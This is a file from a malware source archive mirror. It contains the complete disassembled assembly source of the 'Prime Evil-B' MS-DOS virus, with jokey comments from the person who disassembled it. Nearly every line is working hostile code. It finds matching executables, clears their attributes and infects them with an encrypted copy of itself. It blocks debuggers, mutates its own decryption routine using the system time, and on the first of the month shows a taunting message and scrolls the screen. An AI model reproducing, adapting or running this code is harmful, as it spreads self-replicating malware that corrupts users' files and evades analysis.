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mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.prime-b.asm
2021-01-12 17:55:26 -06:00

1168 lines
40 KiB
NASM

comment %
===============================================================================
Prime Evil-B Overwriter "Virus" Source
Disassembled by Cruel Entity of The Funky Pack of CyberPunks
Notes:
Interresting programming style... :)
===============================================================================
%
id equ 0DB33h
dta_filename equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
prime proc far
vstart equ $
start:
xor bx,bx ; Zero register
nop
nop
nop
nop
call decrypt+1 ; decrypt
nop
nop
nop
db 0ebh,46h ;jump to crypt_beg
prime endp
decrypt proc near
data db 00,53h,0bbh ; push bx
push sp
add [bx+si+9090h],dx ; where to decrypt
nop
mov cx,70eh ; # of bytes to decrypt
nop
nop
nop
push cx
nop
nop
nop
mov al,cs:data
nop
nop
nop
nop
decrypt2: nop
nop
nop
xor [bx],al
nop
nop
inc bx
nop
nop
loop decrypt2
pop cx
pop bx
nop
nop
nop
nop
inc bx
dec bx
jz return
nop
nop
nop
nop
mov ah,40h
xchg si,dx
nop
nop
int 21h
xor bx,bx
nop
nop
nop
jmp decrypt+1
return:
ret
nop
db 0e9h,80h,00h ; used to fuck debug
decrypt endp
crypt_beg:
fmask db '*.C*', 0
message db 'Prime Evil! '
db '(C) Spellbound, Line Noise 1992.',0dh,0ah
db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah
db 'Please spell my name right!$'
f_size db 0, 0
f_time dw 0
f_date dw 0
data_12 dw 0
m_seg dw 0 ;memory segment
int_24h_entry proc far ; this replaces int24
mov bl,3
iret ; interrupt return
int_24h_entry endp
f_handle dw 0
int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h
int_1:
mov dx,offset int_jmp
fuck_sr_1:
mov ax,0fe05h ; hook int 1 and int 3
jmp fuck_sr_1+1 ; (which fucks debug)
add ax,0ebfeh
sub ah,0b1h
int 21h
add al,02h
int 21h
mov al,0ffh
out 21h,al
mov ah,4ah
mov bx,00c8h
int 21h
mov ah,48h
mov bx,0096h
int 21h
mov cs:m_seg,ax ; allocate memory
mov ax,2524h
mov dx,offset int_24h_entry
int 21h ; change int24h
; set intrpt vector al to ds:dx
mov ah,2Ah ; get date
int 21h
cmp dl,1 ; is it day 1?
jne not_day1 ; no it isn't
mov ah,9
mov dx,offset message ; then display a message
int 21h ;
;
call pan_screen ; and pan the screen
not_day1:
mov dx,offset fmask
mov ah,4Eh
int 21h ; find 1st .COM file
jnc found_com ; if no error, move on to
; found_com
xor al,al ; no .COM file found
out 21h,al ; exit to dos
retn
found_com:
mov ax,4300h
mov dx,dta_filename
int 21h ; get file attribute
push cx ; save attrib
mov ax,4301h
xor cx,cx
int 21h ; set attrib to normal
xor al,al ;
out 21h,al ; port 21h, 8259-1 int comands
mov dx,dta_filename
mov word ptr cs:f_size,dx ; save file size
mov ax,3D02h
int 21h ; open file
jnc opened_ok ; Jump if not error
jmp find_next ;
;
; ^^^ interesting way of solving the error jumping...
;
opened_ok:
mov cs:f_handle,ax ; save file handle
mov ax,5700h ; get file date/time
mov bx,cs:f_handle
int 21h
jnc get_date_ok ; Jump if no error
retn ; error when checking
; file time/date, exit to DOS
get_date_ok:
mov cs:f_time,cx ; save file time
mov cs:f_date,dx ; and file date
mov ah,3Fh ; read file to memory
mov cx,70eh ; <- virus size
push ds ; save data seg
mov ds,cs:m_seg ; memory segment
mov dx,0
int 21h
push ax ; save bytes
mov si,0
lodsw ; String [si] to ax
xchg ax,si
pop ax
pop ds ; restore data seg
mov word ptr cs:f_size,ax ; save file size
cmp si,id ; already infected??
jne readed_ok ; nope...
jmp already_inf ;
readed_ok:
push ds ; save data seg
mov ds,cs:m_seg ; copy memory seg to ds
mov es,cs:m_seg ; and es
xor di,di ;
xor si,si ;
mov cx,70eh ; virus size
mov ah,0F3h ; decryption value
crypt_file:
lodsb ; load a byte
xor al,ah ; decrypt it
stosb ; and save it
loop crypt_file
pop ds ; restore data seg
mov ax,4200h ; move file ptr.
xor cx,cx ; to beginning of file
xor dx,dx
int 21h
mov ah,2Ch ; get system time
int 21h
xchg dh,al ; second to al
xor ah,ah ;
mul cl ; cl * al = ax
; (min * sec = ax)
add al,dl ; add al,minutes
add ax,70eh ; add ax,virulen
add al,byte ptr cs:[10Eh]
mov byte ptr cs:[10Eh],al
call crypt ; decrypt the shit
push cs ; cs to ds
pop ds
mov si,100h
mov bx,cs:f_handle
call decrypt+1
mov ax,4202h ; move file ptr to eof
mov bx,cs:f_handle
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; write original file
mov cx,word ptr cs:f_size
push ds ; save data seg
mov ds,cs:m_seg
mov dx,0
int 21h
pop ds ; restore data seg
mov ax,5701h ; restore file time/date
mov cx,cs:f_time
mov dx,cs:f_date
int 21h
jc exit ; exit if error
mov ah,3Eh ; close file
int 21h
pop cx
mov dx,dta_filename ; restore attrib
mov ax,4301h
int 21h
jmp short exit
already_inf:
mov ah,3Eh ; close file
int 21h
pop cx ; restore attrib
mov dx,dta_filename
mov ax,4301h
int 21h
find_next:
mov ah,4Fh
int 21h ; find next .COM file
jc screw ; jump if error
jmp found_com ; else, do next .COM file
exit:
retn ; exit to dos
screw:
int 1 ; single step
retn
pan_screen proc near ; this routine will scroll
mov cs:data_12,0 ; the screen and reboot
loc_15:
mov bx,cs:data_12 ; lots of messing with the
mov dx,3D4h ; video ports below...
mov ah,bh ;
mov al,0Ch ;
out dx,ax ; port 3D4h, CGA/EGA reg index
; al = 0Ch, start address high
mov ah,bl
inc al
out dx,ax ; port 3D4h, CGA/EGA reg index
; al = 0Dh, start address low
mov dx,3DAh
loc_16:
in al,dx ; port 3DAh, CGA/EGA vid status
test al,8
jnz loc_16 ; Jump if not zero
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
test al,8
jz loc_17 ; Jump if zero
inc cs:data_12
cmp cs:data_12,50h
jle loc_15 ; Jump if < or =
mov cs:data_12,0
retn
pan_screen endp
crypt proc near
push cs ; move cs to ds and es
push cs
pop ds
pop es
mov di,113h
call get_time ; get system time
cmp dh,0Ah ; if seconds = 0ah
jb loc_22 ; Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_21 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_20 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_19 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_18 ; Jump if below
call write_31h_0c7h ; The stuff below this
call write_31h_0cfh ; is just for mutating
; some instructions in the
jmp short loc_23 ; decryptioning routine.
loc_18: ;
call write_31h_0ddh
call write_45h
call write_4fh
jmp short loc_23
loc_19:
call write_31h_0f7h
call write_31h_0edh
jmp short loc_23
loc_20:
call write_8dh_3eh_BL_BH
jmp short loc_23
loc_21:
call write_83h_0c7h_DL
call write_47h
jmp short loc_23
loc_22:
call write_0ebh_0
call write_31h_0ffh
loc_23:
mov di,11Ah
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_28 ; Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_27 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_26 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_25 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_24 ; Jump if below
call write_31h_0cfh
call write_45h
jmp short loc_29
loc_24:
call write_47h
call write_47h
call write_47h
jmp short loc_29
loc_25:
call write_31h_0c7h
call write_45h
jmp short loc_29
loc_26:
call write_0ebh_0
call write_45h
jmp short loc_29
loc_27:
call write_47h
call write_31h_0edh
jmp short loc_29
loc_28:
call write_83h_0c7h_DL
loc_29:
mov di,11Eh
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_34 ; Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_33 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_32 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_31 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_30 ; Jump if below
call write_31h_0d7h
call write_45h
jmp short loc_35
loc_30:
call write_31h_0edh
call write_45h
jmp short loc_35
loc_31:
call write_83h_0c7h_DL
jmp short loc_35
loc_32:
call write_0bfh_BL_0bfh
jmp short loc_35
loc_33:
call write_31h_0d5h
call write_4fh
jmp short loc_35
loc_34:
call write_4fh
call write_4fh
call write_47h
loc_35:
mov di,125h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_40 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_39 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_38 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_37 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_36 ; Jump if below
call write_31h_0cfh
call write_31h_0c7h
jmp short loc_41
loc_36:
call write_45h
call write_31h_0ddh
call write_4fh
jmp short loc_41
loc_37:
call write_31h_0ffh
call write_31h_0c5h
jmp short loc_41
loc_38:
call write_83h_0c7h_DL
call write_47h
jmp short loc_41
loc_39:
call write_83h_0c7h_DL
call write_4fh
jmp short loc_41
loc_40:
call write_31h_0ffh
call write_0ebh_0
loc_41:
mov di,129h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_46 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_45 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_44 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_43 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_42 ; Jump if below
call write_45h
call write_31h_0edh
jmp short loc_47
loc_42:
call write_9h_0ffh
call write_4fh
jmp short loc_47
loc_43:
call write_21h_0efh
call write_45h
jmp short loc_47
loc_44:
call write_29h_0efh
call write_47h
jmp short loc_47
loc_45:
call write_0bfh_BL_0bfh
jmp short loc_47
loc_46:
call write_83h_0c7h_DL
loc_47:
mov di,12Eh
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_52 ; Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_51 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_50 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_49 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_48 ; Jump if below
call write_31h_0cfh
jmp short loc_53
loc_48:
call write_47h
call write_4fh
jmp short loc_53
loc_49:
call write_31h_0c5h
jmp short loc_53
loc_50:
call write_29h_0f7h
jmp short loc_53
loc_51:
call write_83h_0c7h_DL
jmp short loc_53
loc_52:
call write_0ebh_0
loc_53:
mov di,131h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_58 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_57 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_56 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_55 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_54 ; Jump if below
call write_29h_0cfh
jmp short loc_59
loc_54:
call write_47h
call write_4fh
jmp short loc_59
loc_55:
call write_31h_0f5h
jmp short loc_59
loc_56:
call write_45h
call write_4fh
jmp short loc_59
loc_57:
call write_9h_0efh
jmp short loc_59
loc_58:
call write_0ebh_0
call write_47h
loc_59:
mov di,137h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_64 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_63 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_62 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_61 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_60 ; Jump if below
call write_31h_0c7h
call write_31h_0dfh
jmp short loc_65
loc_60:
call write_81h_0efh
jmp short loc_65
loc_61:
call write_9h_0ffh
call write_21h_0efh
jmp short loc_65
loc_62:
call write_83h_0c7h_DL
call write_47h
jmp short loc_65
loc_63:
call write_31h_0f7h
call write_21h_0efh
jmp short loc_65
loc_64:
call write_0ebh_0
call write_0ebh_0
loc_65:
mov di,13Fh
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_70 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_69 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_68 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_67 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_66 ; Jump if below
call write_31h_0d7h
call write_29h_0f7h
jmp short loc_71
loc_66:
call write_9h_0efh
call write_47h
call write_47h
jmp short loc_71
loc_67:
call write_31h_0f7h
call write_31h_0edh
jmp short loc_71
loc_68:
call write_83h_0c7h_DL
call write_4fh
jmp short loc_71
loc_69:
call write_31h_0ffh
call write_31h_0ffh
jmp short loc_71
loc_70:
call write_31h_0f7h
call write_0ebh_0
loc_71:
mov di,147h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_76 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_75 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_74 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_73 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_72 ; Jump if below
call write_31h_0c7h
jmp short loc_77
loc_72:
call write_4fh
call write_4fh
jmp short loc_77
loc_73:
call write_21h_0efh
jmp short loc_77
loc_74:
call write_9h_0efh
jmp short loc_77
loc_75:
call write_45h
call write_4dh
jmp short loc_77
loc_76:
call write_0ebh_0
loc_77:
mov di,14Dh
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_82 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_81 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_80 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_79 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_78 ; Jump if below
call write_31h_0f7h
call write_47h
jmp short loc_83
loc_78:
call write_31h_0ddh
call write_4fh
jmp short loc_83
loc_79:
call write_31h_0f7h
call write_47h
jmp short loc_83
loc_80:
call write_83h_0c7h_DL
jmp short loc_83
loc_81:
call write_0bfh_BL_0bfh
jmp short loc_83
loc_82:
call write_47h
call write_0ebh_0
loc_83:
mov di,102h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_88 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_87 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_86 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_85 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_84 ; Jump if below
call write_31h_0c7h
call write_31h_0cfh
jmp short loc_89
loc_84:
call write_31h_0ddh
call write_45h
call write_4fh
jmp short loc_89
loc_85:
call write_31h_0f7h
call write_31h_0edh
jmp short loc_89
loc_86:
call write_8dh_3eh_BL_BH
jmp short loc_89
loc_87:
call write_83h_0c7h_DL
call write_47h
jmp short loc_89
loc_88:
call write_0ebh_0
call write_31h_0ffh
loc_89:
mov di,109h
call get_time
cmp dh,0Ah ; if seconds = 0ah
jb loc_94 ;Jump if below
cmp dh,14h ; if seconds = 14h
jb loc_93 ; Jump if below
cmp dh,1Eh ; if seconds = 1eh
jb loc_92 ; Jump if below
cmp dh,28h ; if seconds = 28h
jb loc_91 ; Jump if below
cmp dh,32h ; if seconds = 32h
jb loc_90 ; Jump if below
call write_0ebh_0
call write_47h
jmp short loc_ret_95
loc_90:
call write_0ebh_0
call write_4fh
jmp short loc_ret_95
loc_91:
call write_47h
call write_47h
call write_45h
jmp short loc_ret_95
loc_92:
call write_83h_0c7h_DL
jmp short loc_ret_95
loc_93:
call write_47h
call write_31h_0ffh
jmp short loc_ret_95
loc_94:
call write_0ebh_0
call write_47h
loc_ret_95:
retn
crypt endp
get_time proc near
mov ah,2Ch ; get system time
int 21h
retn
get_time endp
write_31h_0c5h proc near
mov al,31h
stosb ; Store al to es:[di]
mov al,0C5h
stosb ; Store al to es:[di]
retn
write_31h_0c5h endp
write_31h_0ddh proc near
mov al,31h
stosb ; Store al to es:[di]
mov al,0DDh
stosb ; Store al to es:[di]
retn
write_31h_0ddh endp
mov al,31h
stosb ; Store al to es:[di]
mov al,0CDh
stosb ; Store al to es:[di]
retn
write_31h_0d5h proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0D5h
stosb ; Store al to es:[di]
retn
write_31h_0d5h endp
write_31h_0f5h proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0F5h
stosb ; Store al to es:[di]
retn
write_31h_0f5h endp
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0FDh
stosb ; Store al to es:[di]
retn
write_31h_0edh proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0EDh
stosb ; Store al to es:[di]
retn
write_31h_0edh endp
write_31h_0c7h proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0C7h
stosb ; Store al to es:[di]
retn
write_31h_0c7h endp
write_31h_0dfh proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0DFh
stosb ; Store al to es:[di]
retn
write_31h_0dfh endp
write_31h_0cfh proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0CFh
stosb ; Store al to es:[di]
retn
write_31h_0cfh endp
write_31h_0d7h proc near
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0D7h
stosb ; Store al to es:[di]
retn
write_31h_0d7h endp
mov al,31h ; '1'
stosb ; Store al to es:[di]
mov al,0EFh
stosb ; Store al to es:[di]
retn
write_31h_0f7h proc near
mov al,31h
stosb ; tore al to es:[di]
mov al,0F7h
stosb ; tore al to es:[di]
retn
write_31h_0f7h endp
write_31h_0ffh proc near
mov al,31h
stosb ; tore al to es:[di]
mov al,0FFh
stosb ; tore al to es:[di]
retn
write_31h_0ffh endp
write_45h proc near
mov al,45h ; 'E'
stosb ; Store al to es:[di]
retn
write_45h endp
write_4dh proc near
mov al,4Dh ; 'M'
stosb ; Store al to es:[di]
retn
write_4dh endp
write_47h proc near
mov al,47h ; 'G'
stosb ; Store al to es:[di]
retn
write_47h endp
write_4fh proc near
mov al,4Fh ; 'O'
stosb ; Store al to es:[di]
retn
write_4fh endp
write_0bfh_BL_0bfh proc near
mov al,0BFh
stosb ; Store al to es:[di]
mov al,bl
stosb ; Store al to es:[di]
mov al,al
stosb ; Store al to es:[di]
retn
write_0bfh_BL_0bfh endp
write_8dh_3eh_BL_BH proc near
mov al,8Dh
stosb ; Store al to es:[di]
mov al,3Eh ; '>'
stosb ; Store al to es:[di]
mov al,bl
stosb ; Store al to es:[di]
mov al,bh
stosb ; Store al to es:[di]
retn
write_8dh_3eh_BL_BH endp
write_83h_0c7h_DL proc near
mov al,83h
stosb ; Store al to es:[di]
mov al,0C7h
stosb ; Store al to es:[di]
mov al,dl
stosb ; Store al to es:[di]
retn
write_83h_0c7h_DL endp
write_0ebh_0 proc near
mov al,0EBh
stosb ; Store al to es:[di]
mov al,0
stosb ; Store al to es:[di]
retn
write_0ebh_0 endp
write_9h_0ffh proc near
mov al,9
stosb ; Store al to es:[di]
mov al,0FFh
stosb ; Store al to es:[di]
retn
write_9h_0ffh endp
write_9h_0efh proc near
mov al,9
stosb ; Store al to es:[di]
mov al,0EFh
stosb ; Store al to es:[di]
retn
write_9h_0efh endp
write_21h_0efh proc near
mov al,21h ; '!'
stosb ; Store al to es:[di]
mov al,0EFh
stosb ; Store al to es:[di]
retn
write_21h_0efh endp
write_81h_0efh proc near
mov al,81h
stosb ; Store al to es:[di]
mov al,0EFh
stosb ; Store al to es:[di]
retn
write_81h_0efh endp
mov al,29h ; ')'
stosb ; Store al to es:[di]
mov al,0C7h
stosb ; Store al to es:[di]
retn
write_29h_0cfh proc near
mov al,29h ; ')'
stosb ; Store al to es:[di]
mov al,0CFh
stosb ; Store al to es:[di]
retn
write_29h_0cfh endp
mov al,29h ; ')'
stosb ; Store al to es:[di]
mov al,0D7h
stosb ; Store al to es:[di]
retn
write_29h_0f7h proc near
mov al,29h ; ')'
stosb ; Store al to es:[di]
mov al,0F7h
stosb ; Store al to es:[di]
retn
write_29h_0f7h endp
write_29h_0efh proc near
mov al,29h ; ')'
stosb ; Store al to es:[di]
mov al,0EFh
stosb ; Store al to es:[di]
retn
write_29h_0efh endp
vend equ $
seg_a ends
end start